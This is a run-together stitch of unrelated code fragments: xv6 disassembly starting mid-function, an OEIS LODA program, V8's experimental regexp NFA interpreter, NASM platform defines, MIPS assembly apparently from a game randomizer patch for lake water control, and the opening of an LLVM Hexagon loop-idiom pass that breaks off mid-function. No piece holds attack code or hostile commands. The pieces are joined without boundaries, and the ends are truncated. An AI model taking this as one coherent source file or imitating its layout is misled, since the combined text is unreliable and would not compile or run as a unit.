8d 44 42 d0 lea -0x30(%edx,%eax,2),%eax while('0' <= *s && *s <= '9') 302: 0f be 11 movsbl (%ecx),%edx 305: 8d 5a d0 lea -0x30(%edx),%ebx 308: 80 fb 09 cmp $0x9,%bl 30b: 76 eb jbe 2f8 <atoi+0x18> return n; } 30d: 5b pop %ebx 30e: 5d pop %ebp 30f: c3 ret 00000310 <memmove>: void* memmove(void *vdst, const void *vsrc, int n) { 310: 55 push %ebp char *dst; const char *src; dst = vdst; src = vsrc; while(n-- > 0) 311: 31 d2 xor %edx,%edx { 313: 89 e5 mov %esp,%ebp 315: 56 push %esi 316: 8b 45 08 mov 0x8(%ebp),%eax 319: 53 push %ebx 31a: 8b 5d 10 mov 0x10(%ebp),%ebx 31d: 8b 75 0c mov 0xc(%ebp),%esi while(n-- > 0) 320: 85 db test %ebx,%ebx 322: 7e 12 jle 336 <memmove+0x26> 324: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi *dst++ = *src++; 328: 0f b6 0c 16 movzbl (%esi,%edx,1),%ecx 32c: 88 0c 10 mov %cl,(%eax,%edx,1) 32f: 83 c2 01 add $0x1,%edx while(n-- > 0) 332: 39 da cmp %ebx,%edx 334: 75 f2 jne 328 <memmove+0x18> return vdst; } 336: 5b pop %ebx 337: 5e pop %esi 338: 5d pop %ebp 339: c3 ret 0000033a <fork>: name: \ movl $SYS_ ## name, %eax; \ int $T_SYSCALL; \ ret SYSCALL(fork) 33a: b8 01 00 00 00 mov $0x1,%eax 33f: cd 40 int $0x40 341: c3 ret 00000342 <exit>: SYSCALL(exit) 342: b8 02 00 00 00 mov $0x2,%eax 347: cd 40 int $0x40 349: c3 ret 0000034a <wait>: SYSCALL(wait) 34a: b8 03 00 00 00 mov $0x3,%eax 34f: cd 40 int $0x40 351: c3 ret 00000352 <pipe>: SYSCALL(pipe) 352: b8 04 00 00 00 mov $0x4,%eax 357: cd 40 int $0x40 359: c3 ret 0000035a <read>: SYSCALL(read) 35a: b8 05 00 00 00 mov $0x5,%eax 35f: cd 40 int $0x40 361: c3 ret 00000362 <write>: SYSCALL(write) 362: b8 10 00 00 00 mov $0x10,%eax 367: cd 40 int $0x40 369: c3 ret 0000036a <close>: SYSCALL(close) 36a: b8 15 00 00 00 mov $0x15,%eax 36f: cd 40 int $0x40 371: c3 ret 00000372 <kill>: SYSCALL(kill) 372: b8 06 00 00 00 mov $0x6,%eax 377: cd 40 int $0x40 379: c3 ret 0000037a <exec>: SYSCALL(exec) 37a: b8 07 00 00 00 mov $0x7,%eax 37f: cd 40 int $0x40 381: c3 ret 00000382 <open>: SYSCALL(open) 382: b8 0f 00 00 00 mov $0xf,%eax 387: cd 40 int $0x40 389: c3 ret 0000038a <mknod>: SYSCALL(mknod) 38a: b8 11 00 00 00 mov $0x11,%eax 38f: cd 40 int $0x40 391: c3 ret 00000392 <unlink>: SYSCALL(unlink) 392: b8 12 00 00 00 mov $0x12,%eax 397: cd 40 int $0x40 399: c3 ret 0000039a <fstat>: SYSCALL(fstat) 39a: b8 08 00 00 00 mov $0x8,%eax 39f: cd 40 int $0x40 3a1: c3 ret 000003a2 <link>: SYSCALL(link) 3a2: b8 13 00 00 00 mov $0x13,%eax 3a7: cd 40 int $0x40 3a9: c3 ret 000003aa <mkdir>: SYSCALL(mkdir) 3aa: b8 14 00 00 00 mov $0x14,%eax 3af: cd 40 int $0x40 3b1: c3 ret 000003b2 <chdir>: SYSCALL(chdir) 3b2: b8 09 00 00 00 mov $0x9,%eax 3b7: cd 40 int $0x40 3b9: c3 ret 000003ba <dup>: SYSCALL(dup) 3ba: b8 0a 00 00 00 mov $0xa,%eax 3bf: cd 40 int $0x40 3c1: c3 ret 000003c2 <getpid>: SYSCALL(getpid) 3c2: b8 0b 00 00 00 mov $0xb,%eax 3c7: cd 40 int $0x40 3c9: c3 ret 000003ca <sbrk>: SYSCALL(sbrk) 3ca: b8 0c 00 00 00 mov $0xc,%eax 3cf: cd 40 int $0x40 3d1: c3 ret 000003d2 <sleep>: SYSCALL(sleep) 3d2: b8 0d 00 00 00 mov $0xd,%eax 3d7: cd 40 int $0x40 3d9: c3 ret 000003da <uptime>: SYSCALL(uptime) 3da: b8 0e 00 00 00 mov $0xe,%eax 3df: cd 40 int $0x40 3e1: c3 ret 000003e2 <clone>: SYSCALL(clone) 3e2: b8 16 00 00 00 mov $0x16,%eax 3e7: cd 40 int $0x40 3e9: c3 ret
; A190727: Product of (digits of n each incremented by 1) - 2. ; 0,1,2,3,4,5,6,7,8,0,2,4,6,8,10,12,14,16,18,1,4,7,10,13,16,19,22,25,28,2,6,10,14,18,22,26,30,34,38,3,8,13,18,23,28,33,38,43,48,4,10,16,22,28,34,40,46,52,58,5,12,19,26,33,40,47,54,61,68,6,14,22,30,38,46,54,62 add $0,2 mov $2,$0 lpb $2,1 add $1,$2 add $1,$2 sub $1,$0 sub $2,4 trn $2,6 lpe sub $1,2
// Copyright 2020 the V8 project authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #include "src/regexp/experimental/experimental-interpreter.h" #include "src/base/optional.h" #include "src/objects/fixed-array-inl.h" #include "src/objects/string-inl.h" #include "src/regexp/experimental/experimental.h" #include "src/strings/char-predicates-inl.h" #include "src/zone/zone-allocator.h" #include "src/zone/zone-list-inl.h" namespace v8 { namespace internal { namespace { constexpr int kUndefinedRegisterValue = -1; template <class Character> bool SatisfiesAssertion(RegExpAssertion::AssertionType type, Vector<const Character> context, int position) { DCHECK_LE(position, context.length()); DCHECK_GE(position, 0); switch (type) { case RegExpAssertion::START_OF_INPUT: return position == 0; case RegExpAssertion::END_OF_INPUT: return position == context.length(); case RegExpAssertion::START_OF_LINE: if (position == 0) return true; return unibrow::IsLineTerminator(context[position - 1]); case RegExpAssertion::END_OF_LINE: if (position == context.length()) return true; return unibrow::IsLineTerminator(context[position]); case RegExpAssertion::BOUNDARY: if (context.length() == 0) { return false; } else if (position == 0) { return IsRegExpWord(context[position]); } else if (position == context.length()) { return IsRegExpWord(context[position - 1]); } else { return IsRegExpWord(context[position - 1]) != IsRegExpWord(context[position]); } case RegExpAssertion::NON_BOUNDARY: return !SatisfiesAssertion(RegExpAssertion::BOUNDARY, context, position); } } Vector<RegExpInstruction> ToInstructionVector( ByteArray raw_bytes, const DisallowHeapAllocation& no_gc) { RegExpInstruction* inst_begin = reinterpret_cast<RegExpInstruction*>(raw_bytes.GetDataStartAddress()); int inst_num = raw_bytes.length() / sizeof(RegExpInstruction); DCHECK_EQ(sizeof(RegExpInstruction) * inst_num, raw_bytes.length()); return Vector<RegExpInstruction>(inst_begin, inst_num); } template <class Character> Vector<const Character> ToCharacterVector(String str, const DisallowHeapAllocation& no_gc); template <> Vector<const uint8_t> ToCharacterVector<uint8_t>( String str, const DisallowHeapAllocation& no_gc) { DCHECK(str.IsFlat()); String::FlatContent content = str.GetFlatContent(no_gc); DCHECK(content.IsOneByte()); return content.ToOneByteVector(); } template <> Vector<const uc16> ToCharacterVector<uc16>( String str, const DisallowHeapAllocation& no_gc) { DCHECK(str.IsFlat()); String::FlatContent content = str.GetFlatContent(no_gc); DCHECK(content.IsTwoByte()); return content.ToUC16Vector(); } template <class Character> class NfaInterpreter { // Executes a bytecode program in breadth-first mode, without backtracking. // `Character` can be instantiated with `uint8_t` or `uc16` for one byte or // two byte input strings. // // In contrast to the backtracking implementation, this has linear time // complexity in the length of the input string. Breadth-first mode means // that threads are executed in lockstep with respect to their input // position, i.e. the threads share a common input index. This is similar // to breadth-first simulation of a non-deterministic finite automaton (nfa), // hence the name of the class. // // To follow the semantics of a backtracking VM implementation, we have to be // careful about whether we stop execution when a thread executes ACCEPT. // For example, consider execution of the bytecode generated by the regexp // // r = /abc|..|[a-c]{10,}/ // // on input "abcccccccccccccc". Clearly the three alternatives // - /abc/ // - /../ // - /[a-c]{10,}/ // all match this input. A backtracking implementation will report "abc" as // match, because it explores the first alternative before the others. // // However, if we execute breadth first, then we execute the 3 threads // - t1, which tries to match /abc/ // - t2, which tries to match /../ // - t3, which tries to match /[a-c]{10,}/ // in lockstep i.e. by iterating over the input and feeding all threads one // character at a time. t2 will execute an ACCEPT after two characters, // while t1 will only execute ACCEPT after three characters. Thus we find a // match for the second alternative before a match of the first alternative. // // This shows that we cannot always stop searching as soon as some thread t // executes ACCEPT: If there is a thread u with higher priority than t, then // it must be finished first. If u produces a match, then we can discard the // match of t because matches produced by threads with higher priority are // preferred over matches of threads with lower priority. On the other hand, // we are allowed to abort all threads with lower priority than t if t // produces a match: Such threads can only produce worse matches. In the // example above, we can abort t3 after two characters because of t2's match. // // Thus the interpreter keeps track of a priority-ordered list of threads. // If a thread ACCEPTs, all threads with lower priority are discarded, and // the search continues with the threads with higher priority. If no threads // with high priority are left, we return the match that was produced by the // ACCEPTing thread with highest priority. public: NfaInterpreter(Isolate* isolate, RegExp::CallOrigin call_origin, ByteArray bytecode, int register_count_per_match, String input, int32_t input_index, Zone* zone) : isolate_(isolate), call_origin_(call_origin), bytecode_object_(bytecode), bytecode_(ToInstructionVector(bytecode, no_gc_)), register_count_per_match_(register_count_per_match), input_object_(input), input_(ToCharacterVector<Character>(input, no_gc_)), input_index_(input_index), pc_last_input_index_(zone->NewArray<int>(bytecode.length()), bytecode.length()), active_threads_(0, zone), blocked_threads_(0, zone), register_array_allocator_(zone), best_match_registers_(base::nullopt), zone_(zone) { DCHECK(!bytecode_.empty()); DCHECK_GE(input_index_, 0); DCHECK_LE(input_index_, input_.length()); std::fill(pc_last_input_index_.begin(), pc_last_input_index_.end(), -1); } // Finds matches and writes their concatenated capture registers to // `output_registers`. `output_registers[i]` has to be valid for all i < // output_register_count. The search continues until all remaining matches // have been found or there is no space left in `output_registers`. Returns // the number of matches found. int FindMatches(int32_t* output_registers, int output_register_count) { const int max_match_num = output_register_count / register_count_per_match_; int match_num = 0; while (match_num != max_match_num) { int err_code = FindNextMatch(); if (err_code != RegExp::kInternalRegExpSuccess) return err_code; if (!FoundMatch()) break; Vector<int> registers = *best_match_registers_; output_registers = std::copy(registers.begin(), registers.end(), output_registers); ++match_num; const int match_begin = registers[0]; const int match_end = registers[1]; DCHECK_LE(match_begin, match_end); const int match_length = match_end - match_begin; if (match_length != 0) { SetInputIndex(match_end); } else if (match_end == input_.length()) { // Zero-length match, input exhausted. SetInputIndex(match_end); break; } else { // Zero-length match, more input. We don't want to report more matches // here endlessly, so we advance by 1. SetInputIndex(match_end + 1); // TODO(mbid,v8:10765): If we're in unicode mode, we have to advance to // the next codepoint, not to the next code unit. See also // `RegExpUtils::AdvanceStringIndex`. STATIC_ASSERT(!ExperimentalRegExp::kSupportsUnicode); } } return match_num; } private: // The state of a "thread" executing experimental regexp bytecode. (Not to // be confused with an OS thread.) struct InterpreterThread { // This thread's program counter, i.e. the index within `bytecode_` of the // next instruction to be executed. int pc; // Pointer to the array of registers, which is always size // `register_count_per_match_`. Should be deallocated with // `register_array_allocator_`. int* register_array_begin; }; // Handles pending interrupts if there are any. Returns // RegExp::kInternalRegExpSuccess if execution can continue, and an error // code otherwise. int HandleInterrupts() { StackLimitCheck check(isolate_); if (call_origin_ == RegExp::CallOrigin::kFromJs) { // Direct calls from JavaScript can be interrupted in two ways: // 1. A real stack overflow, in which case we let the caller throw the // exception. // 2. The stack guard was used to interrupt execution for another purpose, // forcing the call through the runtime system. if (check.JsHasOverflowed()) { return RegExp::kInternalRegExpException; } else if (check.InterruptRequested()) { return RegExp::kInternalRegExpRetry; } } else { DCHECK(call_origin_ == RegExp::CallOrigin::kFromRuntime); HandleScope handles(isolate_); Handle<ByteArray> bytecode_handle(bytecode_object_, isolate_); Handle<String> input_handle(input_object_, isolate_); if (check.JsHasOverflowed()) { // We abort the interpreter now anyway, so gc can't invalidate any // pointers. AllowHeapAllocation yes_gc; isolate_->StackOverflow(); return RegExp::kInternalRegExpException; } else if (check.InterruptRequested()) { // TODO(mbid): Is this really equivalent to whether the string is // one-byte or two-byte? A comment at the declaration of // IsOneByteRepresentationUnderneath says that this might fail for // external strings. const bool was_one_byte = String::IsOneByteRepresentationUnderneath(input_object_); Object result; { AllowHeapAllocation yes_gc; result = isolate_->stack_guard()->HandleInterrupts(); } if (result.IsException(isolate_)) { return RegExp::kInternalRegExpException; } // If we changed between a LATIN1 and a UC16 string, we need to restart // regexp matching with the appropriate template instantiation of // RawMatch. if (String::IsOneByteRepresentationUnderneath(*input_handle) != was_one_byte) { return RegExp::kInternalRegExpRetry; } // Update objects and pointers in case they have changed during gc. bytecode_object_ = *bytecode_handle; bytecode_ = ToInstructionVector(bytecode_object_, no_gc_); input_object_ = *input_handle; input_ = ToCharacterVector<Character>(input_object_, no_gc_); } } return RegExp::kInternalRegExpSuccess; } // Change the current input index for future calls to `FindNextMatch`. void SetInputIndex(int new_input_index) { DCHECK_GE(input_index_, 0); DCHECK_LE(input_index_, input_.length()); input_index_ = new_input_index; } // Find the next match and return the corresponding capture registers and // write its capture registers to `best_match_registers_`. The search starts // at the current `input_index_`. Returns RegExp::kInternalRegExpSuccess if // execution could finish regularly (with or without a match) and an error // code due to interrupt otherwise. int FindNextMatch() { DCHECK(active_threads_.is_empty()); // TODO(mbid,v8:10765): Can we get around resetting `pc_last_input_index_` // here? As long as // // pc_last_input_index_[pc] < input_index_ // // for all possible program counters pc that are reachable without input // from pc = 0 and // // pc_last_input_index_[k] <= input_index_ // // for all k > 0 hold I think everything should be fine. Maybe we can do // something about this in `SetInputIndex`. std::fill(pc_last_input_index_.begin(), pc_last_input_index_.end(), -1); // Clean up left-over data from a previous call to FindNextMatch. for (InterpreterThread t : blocked_threads_) { DestroyThread(t); } blocked_threads_.DropAndClear(); for (InterpreterThread t : active_threads_) { DestroyThread(t); } active_threads_.DropAndClear(); if (best_match_registers_.has_value()) { FreeRegisterArray(best_match_registers_->begin()); best_match_registers_ = base::nullopt; } // All threads start at bytecode 0. active_threads_.Add( InterpreterThread{0, NewRegisterArray(kUndefinedRegisterValue)}, zone_); // Run the initial thread, potentially forking new threads, until every // thread is blocked without further input. RunActiveThreads(); // We stop if one of the following conditions hold: // - We have exhausted the entire input. // - We have found a match at some point, and there are no remaining // threads with higher priority than the thread that produced the match. // Threads with low priority have been aborted earlier, and the remaining // threads are blocked here, so the latter simply means that // `blocked_threads_` is empty. while (input_index_ != input_.length() && !(FoundMatch() && blocked_threads_.is_empty())) { DCHECK(active_threads_.is_empty()); uc16 input_char = input_[input_index_]; ++input_index_; static constexpr int kTicksBetweenInterruptHandling = 64; if (input_index_ % kTicksBetweenInterruptHandling == 0) { int err_code = HandleInterrupts(); if (err_code != RegExp::kInternalRegExpSuccess) return err_code; } // We unblock all blocked_threads_ by feeding them the input char. FlushBlockedThreads(input_char); // Run all threads until they block or accept. RunActiveThreads(); } return RegExp::kInternalRegExpSuccess; } // Run an active thread `t` until it executes a CONSUME_RANGE or ACCEPT // instruction, or its PC value was already processed. // - If processing of `t` can't continue because of CONSUME_RANGE, it is // pushed on `blocked_threads_`. // - If `t` executes ACCEPT, set `best_match` according to `t.match_begin` and // the current input index. All remaining `active_threads_` are discarded. void RunActiveThread(InterpreterThread t) { while (true) { if (IsPcProcessed(t.pc)) return; MarkPcProcessed(t.pc); RegExpInstruction inst = bytecode_[t.pc]; switch (inst.opcode) { case RegExpInstruction::CONSUME_RANGE: { blocked_threads_.Add(t, zone_); return; } case RegExpInstruction::ASSERTION: if (!SatisfiesAssertion(inst.payload.assertion_type, input_, input_index_)) { DestroyThread(t); return; } ++t.pc; break; case RegExpInstruction::FORK: { InterpreterThread fork{inst.payload.pc, NewRegisterArrayUninitialized()}; Vector<int> fork_registers = GetRegisterArray(fork); Vector<int> t_registers = GetRegisterArray(t); DCHECK_EQ(fork_registers.length(), t_registers.length()); std::copy(t_registers.begin(), t_registers.end(), fork_registers.begin()); active_threads_.Add(fork, zone_); ++t.pc; break; } case RegExpInstruction::JMP: t.pc = inst.payload.pc; break; case RegExpInstruction::ACCEPT: if (best_match_registers_.has_value()) { FreeRegisterArray(best_match_registers_->begin()); } best_match_registers_ = GetRegisterArray(t); for (InterpreterThread s : active_threads_) { FreeRegisterArray(s.register_array_begin); } active_threads_.DropAndClear(); return; case RegExpInstruction::SET_REGISTER_TO_CP: GetRegisterArray(t)[inst.payload.register_index] = input_index_; ++t.pc; break; case RegExpInstruction::CLEAR_REGISTER: GetRegisterArray(t)[inst.payload.register_index] = kUndefinedRegisterValue; ++t.pc; break; } } } // Run each active thread until it can't continue without further input. // `active_threads_` is empty afterwards. `blocked_threads_` are sorted from // low to high priority. void RunActiveThreads() { while (!active_threads_.is_empty()) { RunActiveThread(active_threads_.RemoveLast()); } } // Unblock all blocked_threads_ by feeding them an `input_char`. Should only // be called with `input_index_` pointing to the character *after* // `input_char` so that `pc_last_input_index_` is updated correctly. void FlushBlockedThreads(uc16 input_char) { // The threads in blocked_threads_ are sorted from high to low priority, // but active_threads_ needs to be sorted from low to high priority, so we // need to activate blocked threads in reverse order. for (int i = blocked_threads_.length() - 1; i >= 0; --i) { InterpreterThread t = blocked_threads_[i]; RegExpInstruction inst = bytecode_[t.pc]; DCHECK_EQ(inst.opcode, RegExpInstruction::CONSUME_RANGE); RegExpInstruction::Uc16Range range = inst.payload.consume_range; if (input_char >= range.min && input_char <= range.max) { ++t.pc; active_threads_.Add(t, zone_); } else { DestroyThread(t); } } blocked_threads_.DropAndClear(); } bool FoundMatch() const { return best_match_registers_.has_value(); } Vector<int> GetRegisterArray(InterpreterThread t) { return Vector<int>(t.register_array_begin, register_count_per_match_); } int* NewRegisterArrayUninitialized() { return register_array_allocator_.allocate(register_count_per_match_); } int* NewRegisterArray(int fill_value) { int* array_begin = NewRegisterArrayUninitialized(); int* array_end = array_begin + register_count_per_match_; std::fill(array_begin, array_end, fill_value); return array_begin; } void FreeRegisterArray(int* register_array_begin) { register_array_allocator_.deallocate(register_array_begin, register_count_per_match_); } void DestroyThread(InterpreterThread t) { FreeRegisterArray(t.register_array_begin); } // It is redundant to have two threads t, t0 execute at the same PC value, // because one of t, t0 matches iff the other does. We can thus discard // the one with lower priority. We check whether a thread executed at some // PC value by recording for every possible value of PC what the value of // input_index_ was the last time a thread executed at PC. If a thread // tries to continue execution at a PC value that we have seen before at // the current input index, we abort it. (We execute threads with higher // priority first, so the second thread is guaranteed to have lower // priority.) // // Check whether we've seen an active thread with a given pc value since the // last increment of `input_index_`. bool IsPcProcessed(int pc) { DCHECK_LE(pc_last_input_index_[pc], input_index_); return pc_last_input_index_[pc] == input_index_; } // Mark a pc as having been processed since the last increment of // `input_index_`. void MarkPcProcessed(int pc) { DCHECK_LE(pc_last_input_index_[pc], input_index_); pc_last_input_index_[pc] = input_index_; } Isolate* const isolate_; const RegExp::CallOrigin call_origin_; const DisallowHeapAllocation no_gc_; ByteArray bytecode_object_; Vector<const RegExpInstruction> bytecode_; // Number of registers used per thread. const int register_count_per_match_; String input_object_; Vector<const Character> input_; int input_index_; // pc_last_input_index_[k] records the value of input_index_ the last // time a thread t such that t.pc == k was activated, i.e. put on // active_threads_. Thus pc_last_input_index.size() == bytecode.size(). See // also `RunActiveThread`. Vector<int> pc_last_input_index_; // Active threads can potentially (but not necessarily) continue without // input. Sorted from low to high priority. ZoneList<InterpreterThread> active_threads_; // The pc of a blocked thread points to an instruction that consumes a // character. Sorted from high to low priority (so the opposite of // `active_threads_`). ZoneList<InterpreterThread> blocked_threads_; // RecyclingZoneAllocator maintains a linked list through freed allocations // for reuse if possible. RecyclingZoneAllocator<int> register_array_allocator_; // The register array of the best match found so far during the current // search. If several threads ACCEPTed, then this will be the register array // of the accepting thread with highest priority. Should be deallocated with // `register_array_allocator_`. base::Optional<Vector<int>> best_match_registers_; Zone* zone_; }; } // namespace int ExperimentalRegExpInterpreter::FindMatches( Isolate* isolate, RegExp::CallOrigin call_origin, ByteArray bytecode, int register_count_per_match, String input, int start_index, int32_t* output_registers, int output_register_count, Zone* zone) { DCHECK(input.IsFlat()); DisallowHeapAllocation no_gc; if (input.GetFlatContent(no_gc).IsOneByte()) { NfaInterpreter<uint8_t> interpreter(isolate, call_origin, bytecode, register_count_per_match, input, start_index, zone); return interpreter.FindMatches(output_registers, output_register_count); } else { DCHECK(input.GetFlatContent(no_gc).IsTwoByte()); NfaInterpreter<uc16> interpreter(isolate, call_origin, bytecode, register_count_per_match, input, start_index, zone); return interpreter.FindMatches(output_registers, output_register_count); } } } // namespace internal } // namespace v8
%define System 0 %define Darwin 0 %define Linux 1 %define Windows 2 %define x86_64 0 %define arm64 1 %define Processor 1
CFG_CHILD_CONTROL_LAKE: .word 0x00000000 ; ID x y z xrot yrot zrot var Gossip_Actor: .halfword 0x01B9, 0xFCD5, 0xFB25, 0x1AD2, 0x0000, 0xF2DC, 0x0000, 0x8022 Hit_Gossip_Stone: addi sp, sp, -0x14 sw ra, 0x10(sp) ; If special flag is not set, then display time as normal lhu t0, 0x001C(s0) andi t0, t0, 0x8000 beqz t0, @@show_time nop ; Check if control over lake is enabled ; If morpha is alive, do nothing li v1, SAVE_CONTEXT lhu t5, 0x0EDC(v1) andi t5, t5, 0x0400 ;t5 = morpha flag beqz t5, @@return nop ; Adult always has control lw t6, 0x0004(v1) beqz t6, @@trigger_fill nop ; Child only has controls if CFG setting is set li t5, CFG_CHILD_CONTROL_LAKE lw t5, 0x00(t5) beqz t5, @@return nop @@trigger_fill: ; Set switch flag #0 lhu t5, 0x01D2A(a0) ;t5 = switch flags ori t6, t5, 0x0001 sh t6, 0x01D2A(a0) ; clear switch flag #0 b @@return nop @@show_time: jal 0x800DCE14 nop @@return: lw ra, 0x10(sp) addi sp, sp, 0x14 jr ra nop Check_Fill_Lake: ; If child cannot control the lake, then only check age li t5, CFG_CHILD_CONTROL_LAKE lw t5, 0x00(t5) beqz t5, @@vanilla_check nop lhu t5, 0x0EDC(v1) andi t5, t5, 0x0400 ;t5 = morpha flag bnez t5, @@return li t6, 0 ; return false if morph is dead @@vanilla_check: lw t6, 0x0004(v1) ; otherwise return if age is child @@return: jr ra nop Fill_Lake_Destroy: ; If this is the water plane, setup the ; fill code instead of destroying lh t0, 0x001C(a0) li at, 0x0002 bne t0, at, @@destroy nop ; if child and CFG_CHILD_CONTROL_LAKE is false, then destroy li v0, SAVE_CONTEXT lw t3, 0x0004(v0) beqz t3, @@setup_fill_control nop li t5, CFG_CHILD_CONTROL_LAKE lw t5, 0x00(t5) beqz t5, @@return nop @@setup_fill_control: ; Set fill code for main loop lui t1, hi(Fill_Lake) addiu t1, t1, lo(Fill_Lake) sw t1, 0x0154(a0) ; Spawn relevant actors addiu sp, sp, -0x20 sw ra, 0x10(sp) sw a1, 0x14(sp) ; Spawn gossip stone lw a2, 0x14(sp) li a1, Gossip_Actor jal 0x800255C4 addiu a0, a2, 0x1C24 lw ra, 0x10(sp) addiu sp, sp, 0x20 b @@return nop @@destroy: sw a0, 0x0000(sp) sw a1, 0x0004(sp) @@return: jr $ra nop Fill_Lake: addiu sp, sp, -0x28 sw s0, 0x0020(sp) sw ra, 0x0024(sp) sw a1, 0x002C(sp) or s0, a0, zero ;s0 = actor* lwc1 f0, 0x015C(s0) ; f0 = water displacement li at, 0xC4A42000 ;at = water offset (-1313.0) mtc1 at, f2 ; if morpha is not dead, then return li v0, SAVE_CONTEXT lhu t3, 0x0EDC(v0) andi t4, t3, 0x0400 ;t4 = morpha flag lhu t3, 0x0EE0(v0) beqz t4, @@return nop @@morpha_dead: ; toggle the fill flag if the ocarina spot switch flag was set lhu t5, 0x01D2A(a1) ;t5 = switch flags andi t6, t5, 0x0001 beqz t6, @@no_trigger ; switch flag #0 nop andi t5, t5, 0xFFFE sh t5, 0x01D2A(a1) ; clear switch flag #0 li at, 0x0200 xor t3, t3, at sh t3, 0x0EE0(v0) ; toggle fill flag @@no_trigger: ; set target to fill or drain andi t4, t3, 0x0200 ;t3 = lake filled flag beqz t4, @@draining nop @@filling: li at, 0x00000000 mtc1 at, f4 ;f4 = target displacement [0.00] lui a2, 0x4080 mtc1 a2, f6 ;f6 = fill speed [4.00] nop add.s f8, f0, f6 c.lt.s f8, f4 nop b @@check_fill_max nop @@draining: li at, 0xC42A0000 mtc1 at, f4 ;f4 = target displacement [-680.00] lui a2, 0xC080 mtc1 a2, f6 ;f6 = fill speed [-4.00] nop add.s f8, f0, f6 c.lt.s f4, f8 nop @@check_fill_max: ; if next fill level would pass the taget, then set to target ; this will skip the audio as well bc1f @@skip_fill_update nop ; update the fill level with the new value mov.s f4, f8 ; Play sound jal 0x80023108 li a1, 0x205E or a0, s0, zero @@skip_fill_update: swc1 f4, 0x015C(s0) ; update water planes add.s f4, f4, f2 swc1 f4, 0x0028(s0) trunc.w.s f16, f4 mfc1 t1, f16 ;t1 = actor y-pos lw v0, 0x002C(sp) ;v0 = global_context lw t8, 0x07C0(v0) ;t8 = col_hdr lw t9, 0x0028(t8) ;t9 = col_hdr.water addiu t7, zero, 0xFB57 ;t7 = FFFFFB57 (-0x04A9) sh t7, 0x0012(t9) ;col_hdr.water[1].pos.y = -0x04A9 sh t1, 0x0022(t9) ;col_hdr.water[2].pos.y = actor y-pos sh t1, 0x0032(t9) ;col_hdr.water[3].pos.y = actor y-pos @@return: lw ra, 0x0024(sp) lw s0, 0x0020(sp) addiu sp, sp, 0x0028 jr ra nop
//===- HexagonLoopIdiomRecognition.cpp ------------------------------------===// // // Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions. // See https://llvm.org/LICENSE.txt for license information. // SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception // //===----------------------------------------------------------------------===// #include "llvm/ADT/APInt.h" #include "llvm/ADT/DenseMap.h" #include "llvm/ADT/SetVector.h" #include "llvm/ADT/SmallPtrSet.h" #include "llvm/ADT/SmallSet.h" #include "llvm/ADT/SmallVector.h" #include "llvm/ADT/StringRef.h" #include "llvm/ADT/Triple.h" #include "llvm/Analysis/AliasAnalysis.h" #include "llvm/Analysis/InstructionSimplify.h" #include "llvm/Analysis/LoopInfo.h" #include "llvm/Analysis/LoopPass.h" #include "llvm/Analysis/MemoryLocation.h" #include "llvm/Analysis/ScalarEvolution.h" #include "llvm/Analysis/ScalarEvolutionExpander.h" #include "llvm/Analysis/ScalarEvolutionExpressions.h" #include "llvm/Analysis/TargetLibraryInfo.h" #include "llvm/Analysis/ValueTracking.h" #include "llvm/IR/Attributes.h" #include "llvm/IR/BasicBlock.h" #include "llvm/IR/Constant.h" #include "llvm/IR/Constants.h" #include "llvm/IR/DataLayout.h" #include "llvm/IR/DebugLoc.h" #include "llvm/IR/DerivedTypes.h" #include "llvm/IR/Dominators.h" #include "llvm/IR/Function.h" #include "llvm/IR/IRBuilder.h" #include "llvm/IR/InstrTypes.h" #include "llvm/IR/Instruction.h" #include "llvm/IR/Instructions.h" #include "llvm/IR/IntrinsicInst.h" #include "llvm/IR/Intrinsics.h" #include "llvm/IR/IntrinsicsHexagon.h" #include "llvm/IR/Module.h" #include "llvm/IR/PatternMatch.h" #include "llvm/IR/Type.h" #include "llvm/IR/User.h" #include "llvm/IR/Value.h" #include "llvm/InitializePasses.h" #include "llvm/Pass.h" #include "llvm/Support/Casting.h" #include "llvm/Support/CommandLine.h" #include "llvm/Support/Compiler.h" #include "llvm/Support/Debug.h" #include "llvm/Support/ErrorHandling.h" #include "llvm/Support/KnownBits.h" #include "llvm/Support/raw_ostream.h" #include "llvm/Transforms/Scalar.h" #include "llvm/Transforms/Utils.h" #include "llvm/Transforms/Utils/Local.h" #include <algorithm> #include <array> #include <cassert> #include <cstdint> #include <cstdlib> #include <deque> #include <functional> #include <iterator> #include <map> #include <set> #include <utility> #include <vector> #define DEBUG_TYPE "hexagon-lir" using namespace llvm; static cl::opt<bool> DisableMemcpyIdiom("disable-memcpy-idiom", cl::Hidden, cl::init(false), cl::desc("Disable generation of memcpy in loop idiom recognition")); static cl::opt<bool> DisableMemmoveIdiom("disable-memmove-idiom", cl::Hidden, cl::init(false), cl::desc("Disable generation of memmove in loop idiom recognition")); static cl::opt<unsigned> RuntimeMemSizeThreshold("runtime-mem-idiom-threshold", cl::Hidden, cl::init(0), cl::desc("Threshold (in bytes) for the runtime " "check guarding the memmove.")); static cl::opt<unsigned> CompileTimeMemSizeThreshold( "compile-time-mem-idiom-threshold", cl::Hidden, cl::init(64), cl::desc("Threshold (in bytes) to perform the transformation, if the " "runtime loop count (mem transfer size) is known at compile-time.")); static cl::opt<bool> OnlyNonNestedMemmove("only-nonnested-memmove-idiom", cl::Hidden, cl::init(true), cl::desc("Only enable generating memmove in non-nested loops")); static cl::opt<bool> HexagonVolatileMemcpy( "disable-hexagon-volatile-memcpy", cl::Hidden, cl::init(false), cl::desc("Enable Hexagon-specific memcpy for volatile destination.")); static cl::opt<unsigned> SimplifyLimit("hlir-simplify-limit", cl::init(10000), cl::Hidden, cl::desc("Maximum number of simplification steps in HLIR")); static const char *HexagonVolatileMemcpyName = "hexagon_memcpy_forward_vp4cp4n2"; namespace llvm { void initializeHexagonLoopIdiomRecognizePass(PassRegistry&); Pass *createHexagonLoopIdiomPass(); } // end namespace llvm namespace { class HexagonLoopIdiomRecognize : public LoopPass { public: static char ID; explicit HexagonLoopIdiomRecognize() : LoopPass(ID) { initializeHexagonLoopIdiomRecognizePass(*PassRegistry::getPassRegistry()); } StringRef getPassName() const override { return "Recognize Hexagon-specific loop idioms"; } void getAnalysisUsage(AnalysisUsage &AU) const override { AU.addRequired<LoopInfoWrapperPass>(); AU.addRequiredID(LoopSimplifyID); AU.addRequiredID(LCSSAID); AU.addRequired<AAResultsWrapperPass>(); AU.addPreserved<AAResultsWrapperPass>(); AU.addRequired<ScalarEvolutionWrapperPass>(); AU.addRequired<DominatorTreeWrapperPass>(); 